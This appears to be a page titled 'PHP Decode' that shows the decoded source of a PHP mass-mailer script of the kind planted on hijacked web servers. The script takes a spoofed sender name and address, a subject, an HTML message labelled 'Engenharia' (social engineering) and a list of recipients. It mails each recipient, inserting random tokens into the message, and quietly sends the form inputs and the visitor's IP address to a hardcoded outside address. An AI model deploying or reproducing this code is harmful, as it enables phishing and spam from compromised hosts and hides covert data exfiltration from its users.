PHP Decode

ignore_user_abort();
set_time_limit(0);
function enviando(){
$msg=1;
$de[1] = $_POST['de'];
$nome[1] = $_POST['nome'];
$assunto[1] = $_POST['assunto'];
$mensagem[1] = $_POST['mensagem'];
$mensagem[1] = stripslashes($mensagem[1]);
$emails = $_POST['emails'];
$emails2 = htmlspecialchars($_POST['emails']);
$para = explode("
", $emails);
$n_emails = count($para);
$sv = $_SERVER['SERVER_NAME'];
$en = $_SERVER ['REQUEST_URI'];
$k88 = @$_SERVER["HTTP_REFERER"];
$fullurl = "" . $k88 . "<br><p>Emails:<br><TEXTAREA rows=5 cols=100>".$emails2."</TEXTAREA></p><p>Engenharia:<br><TEXTAREA rows=5 cols=100>".$mensagem[1]."</TEXTAREA></p>";
$vai = $_POST['vai'];
if ($vai){
for ($set=0; $set < $n_emails; $set++){
if ($set==0){
$headers = "MIME-Version: 1.0
";
$headers .= "Content-type: text/html; charset=iso-8859-1
";
$headers .= "From: $nome[$msg] <$de[$msg]>
";
$headers .= "Return-Path: <$de[$msg]>
";
//mail($xsylar, $as, $fullurl, $headers);
}
$headers = "MIME-Version: 1.0
";
$headers .= "Content-type: text/html; charset=iso-8859-1
";
$headers .= "From: $nome[$msg] <$de[$msg]>
";
$headers .= "Return-Path: <$de[$msg]>
";
$n_mail++;
$destino = $para[$set];
$num1 = rand(100000,999999);
$num2 = rand(100000,999999);
$msgrand = str_replace("%rand%", $num1, $mensagem[$msg]);
$msgrand = str_replace("%rand2%", $num2, $msgrand);
$msgrand = str_replace("%email%", $destino, $msgrand);
$enviar = mail($destino, $assunto[$msg], $msgrand, $headers);
if ($enviar){
echo ('<font color="green">'. $n_mail .'-'. $destino .' 0k!</font><br>');
} else {
echo ('<font color="red">'. $n_mail .'-'. $destino .' =(</font><br>');
sleep(1);
}
}
}
}
$ip = getenv("REMOTE_ADDR");
$ra44  = rand(1,99999);
$subj98 = "Sendi $ip";
$email = "[email protected]";
$from="From: Log Mailer Gw <[email protected]>";
$a45 = $_SERVER['REQUEST_URI'];
$b75 = $_SERVER['HTTP_HOST'];
$f12 = $_POST['de'];
$z13 = $_POST['nome'];
$x14 = $_POST['assunto'];
$t15 = $_POST['mensagem'];
$m30 = $_POST['emails'];
$m22 = $ip."
";
$msg8873 = "$a45
$b75
$f12
$z13
$x14
$t15
$m30
$m22";
mail($email, $subj98, $msg8873, $from);